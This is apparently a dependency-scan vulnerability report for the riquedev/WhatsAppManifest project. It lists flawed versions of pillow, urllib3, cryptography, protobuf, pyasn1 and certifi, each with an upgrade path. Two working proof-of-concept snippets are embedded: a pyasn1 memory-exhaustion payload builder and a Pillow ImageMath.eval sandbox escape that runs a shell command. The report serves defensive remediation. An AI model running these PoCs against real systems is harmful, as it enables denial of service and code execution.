Vulnerabilities

80 via 255 paths

Dependencies

47

Source

GitHub

Commit

ff0f7698

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 80
  • 5
Severity
  • 3
  • 33
  • 45
  • 4
Status
  • 85
  • 0
  • 0

critical severity

Improper Following of a Certificate's Chain of Trust

  • Vulnerable module: certifi
  • Introduced through: certifi@2019.11.28, requests@2.23.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a certifi@2019.11.28
    Remediation: Upgrade to certifi@2023.7.22.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a requests@2.23.0 certifi@2019.11.28
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a adbutils@0.7.1 requests@2.23.0 certifi@2019.11.28
    Remediation: Upgrade to adbutils@0.7.1.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a requests-toolbelt@0.9.1 requests@2.23.0 certifi@2019.11.28

Overview

Affected versions of this package are vulnerable to Improper Following of a Certificate's Chain of Trust. E-Tugra's root certificates are being removed pursuant to an investigation prompted by reporting of security issues in their systems. Conclusions of Mozilla's investigation can be found here.

Note:

This issue is not an inherent vulnerability in the package, but a security measure against potential harmful effects of trusting the now-revoked root certificates.

Remediation

Upgrade certifi to version 2023.7.22 or higher.

References

critical severity

Arbitrary Code Execution

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@9.0.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Arbitrary Code Execution via PIL.ImageMath.eval which allows evaluation of arbitrary expressions, such as ones that use the Python exec method.

Remediation

Upgrade Pillow to version 9.0.0 or higher.

References

critical severity

Heap-based Buffer Overflow

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@10.0.1.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow when the ReadHuffmanCodes() function is used. An attacker can craft a special WebP lossless file that triggers the ReadHuffmanCodes() function to allocate the HuffmanCode buffer with a size that comes from an array of precomputed sizes: kTableSize. The color_cache_bits value defines which size to use. The kTableSize array only takes into account sizes for 8-bit first-level table lookups but not second-level table lookups. libwebp allows codes that are up to 15-bit (MAX_ALLOWED_CODE_LENGTH). When BuildHuffmanTable() attempts to fill the second-level tables it may write data out-of-bounds. The OOB write to the undersized array happens in ReplicateValue.

Notes:

This is only exploitable if the color_cache_bits value defines which size to use.

This vulnerability was also published on libwebp CVE-2023-5129

Changelog:

2023-09-12: Initial advisory publication

2023-09-27: Advisory details updated, including CVSS, references

2023-09-27: CVE-2023-5129 rejected as a duplicate of CVE-2023-4863

2023-09-28: Research and addition of additional affected libraries

2024-01-28: Additional fix information

Remediation

Upgrade Pillow to version 10.0.1 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.26.5, requests@2.23.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a urllib3@1.26.5
    Remediation: Upgrade to urllib3@2.6.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a requests@2.23.0 urllib3@1.26.5
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a uiautomator@0.3.6 urllib3@1.26.5
    Remediation: Upgrade to uiautomator@0.3.6.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a adbutils@0.7.1 requests@2.23.0 urllib3@1.26.5
    Remediation: Upgrade to adbutils@0.7.1.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a requests-toolbelt@0.9.1 requests@2.23.0 urllib3@1.26.5

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling during the decompression of compressed response data. An attacker can cause excessive CPU and memory consumption by sending responses with a large number of chained compression steps.

Workaround

This vulnerability can be avoided by setting preload_content=False and ensuring that resp.headers["content-encoding"] are limited to a safe quantity before reading.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.26.5, requests@2.23.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a urllib3@1.26.5
    Remediation: Upgrade to urllib3@2.6.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a requests@2.23.0 urllib3@1.26.5
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a uiautomator@0.3.6 urllib3@1.26.5
    Remediation: Upgrade to uiautomator@0.3.6.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a adbutils@0.7.1 requests@2.23.0 urllib3@1.26.5
    Remediation: Upgrade to adbutils@0.7.1.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a requests-toolbelt@0.9.1 requests@2.23.0 urllib3@1.26.5

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the Streaming API. The ContentDecoder class can be forced to allocate disproportionate resources when processing a single chunk with very high compression, such as via the stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), and readinto(b) functions.

Note: It is recommended to patch Brotli dependencies (upgrade to at least 1.2.0) if they are installed outside of urllib3 as well, to avoid other instances of the same vulnerability.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.26.5, requests@2.23.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a urllib3@1.26.5
    Remediation: Upgrade to urllib3@2.6.3.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a requests@2.23.0 urllib3@1.26.5
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a uiautomator@0.3.6 urllib3@1.26.5
    Remediation: Upgrade to uiautomator@0.3.6.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a adbutils@0.7.1 requests@2.23.0 urllib3@1.26.5
    Remediation: Upgrade to adbutils@0.7.1.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a requests-toolbelt@0.9.1 requests@2.23.0 urllib3@1.26.5

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the streaming API when handling HTTP redirects. An attacker can cause excessive resource consumption by serving a specially crafted compressed response that triggers decompression of large amounts of data before any read limits are enforced.

Note: This is only exploitable if content is streamed from untrusted sources with redirects enabled.

Workaround

This vulnerability can be mitigated by disabling redirects by setting redirect=False for requests to untrusted sources.

Remediation

Upgrade urllib3 to version 2.6.3 or higher.

References

high severity

Heap-based Buffer Overflow

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@8.1.1.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow insufficent fix for CVE-2020-35654 due to incorrect error checking in TiffDecode.c.

Remediation

Upgrade Pillow to version 8.1.1 or higher.

References

high severity

Uncontrolled Recursion

  • Vulnerable module: protobuf
  • Introduced through: protobuf@3.18.3 and python-axolotl@0.2.3

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a protobuf@3.18.3
    Remediation: Upgrade to protobuf@4.25.8.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a python-axolotl@0.2.3 protobuf@3.18.3
    Remediation: Upgrade to python-axolotl@0.2.3.

Overview

protobuf is a Google’s data interchange format

Affected versions of this package are vulnerable to Uncontrolled Recursion when parsing untrusted Protocol Buffers data containing an excessive number of recursive groups, recursive messages, or a series of SGROUP tags. An attacker can provide crafted input that will corrupt the backend by exceeding the Python recursion limit and result in denial of service by crashing the application with a RecursionError.

Note: This problem impacts only the pure-Python implementation of the protobuf-python backend and does not influence the CPython PyPi wheels, which, by default, do not utilize pure Python.

Remediation

Upgrade protobuf to version 4.25.8, 5.29.5, 6.31.1 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: pyasn1
  • Introduced through: pyasn1@0.4.8 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pyasn1@0.4.8
    Remediation: Upgrade to pyasn1@0.6.2.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pyasn1@0.4.8
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the valueDecoder function in decoder.py. An attacker can cause memory exhaustion by submitting a malformed RELATIVE-OID containing excessive continuation octets.

PoC

import pyasn1.codec.ber.decoder as decoder
import pyasn1.type.univ as univ
import sys
import resource

# Deliberately set memory limit to display PoC
try:
    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
    print("[*] Memory limit set to 100MB")
except:
    print("[-] Could not set memory limit")

# Test with different payload sizes to find the DoS threshold
payload_size_mb = int(sys.argv[1])

print(f"[*] Testing with {payload_size_mb}MB payload...")

payload_size = payload_size_mb * 1024 * 1024
# Create payload with continuation octets
# Each 0x81 byte indicates continuation, causing bit shifting in decoder
payload = b'\x81' * payload_size + b'\x00'
length = len(payload)

# DER length encoding (supports up to 4GB)
if length < 128:
    length_bytes = bytes([length])
elif length < 256:
    length_bytes = b'\x81' + length.to_bytes(1, 'big')
elif length < 256**2:
    length_bytes = b'\x82' + length.to_bytes(2, 'big')
elif length < 256**3:
    length_bytes = b'\x83' + length.to_bytes(3, 'big')
else:
    # 4 bytes can handle up to 4GB
    length_bytes = b'\x84' + length.to_bytes(4, 'big')

# Use OID (0x06) for more aggressive parsing
malicious_packet = b'\x06' + length_bytes + payload

print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")

try:
    print("[*] Decoding (this may take time or exhaust memory)...")
    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())

    print(f'[+] Decoded successfully')
    print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')

    # Try to convert to string
    print('[*] Converting to string...')
    try:
        str_result = str(result[0])
        print(f'[+] String succeeded: {len(str_result)} chars')
        if len(str_result) > 10000:
            print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
    except MemoryError:
        print(f'[-] MemoryError during string conversion!')
    except Exception as e:
        print(f'[-] {type(e).__name__} during string conversion')

except MemoryError:
    print('[-] MemoryError: Out of memory!')
except Exception as e:
    print(f'[-] Error: {type(e).__name__}: {e}')


print("\n[*] Test completed")

Remediation

Upgrade pyasn1 to version 0.6.2 or higher.

References

high severity
new

Insufficient Verification of Data Authenticity

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8, apkparser@1.10.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a cryptography@2.8
    Remediation: Upgrade to cryptography@46.0.5.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 cryptography@2.8
    Remediation: Upgrade to apkparser@1.10.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a python-axolotl@0.2.3 cryptography@2.8
    Remediation: Upgrade to python-axolotl@0.2.3.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a sshtunnel@0.1.5 paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to sshtunnel@0.1.5.

Overview

Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity in public key functions public_key_from_numbers, EllipticCurvePublicNumbers.public_key, load_der_public_key, and load_pem_public_key, which may reveal bits from a private key when provided with a malicious public key as input. When the application is using sect* binary curves for verification - which is a rare use case - these functions do not verify that the provided point belongs to the expected prime-order subgroup of the curve. An attacker can thus expose partial private keys or forge signatures.

Remediation

Upgrade cryptography to version 46.0.5 or higher.

References

high severity

Uncontrolled Recursion

  • Vulnerable module: protobuf
  • Introduced through: protobuf@3.18.3 and python-axolotl@0.2.3

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a protobuf@3.18.3
    Remediation: Upgrade to protobuf@5.29.6.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a python-axolotl@0.2.3 protobuf@3.18.3
    Remediation: Upgrade to python-axolotl@0.2.3.

Overview

protobuf is a Google’s data interchange format

Affected versions of this package are vulnerable to Uncontrolled Recursion in the ParseDict() function, when handling deeply nested google.protobuf.Any messages. An attacker can bypass max_recursion_depth to exhaust the recursion stack and trigger a RecursionError.

Remediation

Upgrade protobuf to version 5.29.6, 6.33.5 or higher.

References

high severity

Eval Injection

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@10.2.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Affected versions of this package are vulnerable to Eval Injection via the PIL.ImageMath.eval function when an attacker has control over the keys passed to the environment argument.

PoC

from PIL import Image, ImageMath

image1 = Image.open('__class__')
image2 = Image.open('__bases__')
image3 = Image.open('__subclasses__')
image4 = Image.open('load_module')
image5 = Image.open('system')

expression = "().__class__.__bases__[0].__subclasses__()[104].load_module('os').system('whoami')"

environment = {
    image1.filename: image1,
    image2.filename: image2,
    image3.filename: image3,
    image4.filename: image4,
    image5.filename: image5
}

ImageMath.eval(expression, **environment)

Remediation

Upgrade pillow to version 10.2.0 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8, apkparser@1.10.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a cryptography@2.8
    Remediation: Upgrade to cryptography@39.0.1.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 cryptography@2.8
    Remediation: Upgrade to apkparser@1.10.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a python-axolotl@0.2.3 cryptography@2.8
    Remediation: Upgrade to python-axolotl@0.2.3.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a sshtunnel@0.1.5 paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to sshtunnel@0.1.5.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to a null pointer dereference in when signatures are being verified on PKCS7 signed or signedAndEnveloped data in pkcs7/pk7_doit.c. If the hash algorithm used for the signature is known to the OpenSSL library but the implementation of the hash algorithm is not available, the digest initialization will fail.

NOTE: The TLS implementation in OpenSSL does not call these functions.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

high severity

Observable Timing Discrepancy

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8, apkparser@1.10.0 and others

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a cryptography@2.8
    Remediation: Upgrade to cryptography@42.0.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 cryptography@2.8
    Remediation: Upgrade to apkparser@1.10.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to paramiko@3.3.2.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a python-axolotl@0.2.3 cryptography@2.8
    Remediation: Upgrade to python-axolotl@0.2.3.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a sshtunnel@0.1.5 paramiko@2.10.1 cryptography@2.8
    Remediation: Upgrade to sshtunnel@0.1.5.

Overview

Affected versions of this package are vulnerable to Observable Timing Discrepancy. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data (Marvin).

Note:

This vulnerability exists due to an incomplete fix for CVE-2020-25659.

Remediation

Upgrade cryptography to version 42.0.0 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@8.1.2.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Denial of Service (DoS). This can happen in the BLP container format where the reported size of the contained image is not properly checked. These images can cause arbitrarily large memory allocations.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade Pillow to version 8.1.2 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@8.1.2.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Denial of Service (DoS). This can happen in the ICO container format where the reported size of the contained image is not properly checked. These images can cause arbitrarily large memory allocations.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade Pillow to version 8.1.2 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@8.1.2.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Denial of Service (DoS). This can happen in the ICNS container format where the reported size of the contained image is not properly checked. These images can cause arbitrarily large memory allocations.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade Pillow to version 8.1.2 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@8.2.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Denial of Service (DoS). Improper checks in BlpImagePlugin may result in the decoder running over empty data.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade Pillow to version 8.2.0 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: pillow
  • Introduced through: pillow@7.0.0 and apkparser@1.10.0

Detailed paths

  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a pillow@7.0.0
    Remediation: Upgrade to pillow@8.2.0.
  • Introduced through: riquedev/WhatsAppManifest@riquedev/WhatsAppManifest#ff0f76982976012651ff955216d4dea8f3be372a apkparser@1.10.0 pillow@7.0.0
    Remediation: Upgrade to apkparser@1.10.0.

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Denial of Service (DoS). This is due to improper checks in FliDecode that may result in an infinite loop.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade Pillow to version 8.2.0 or higher.

References

high severity

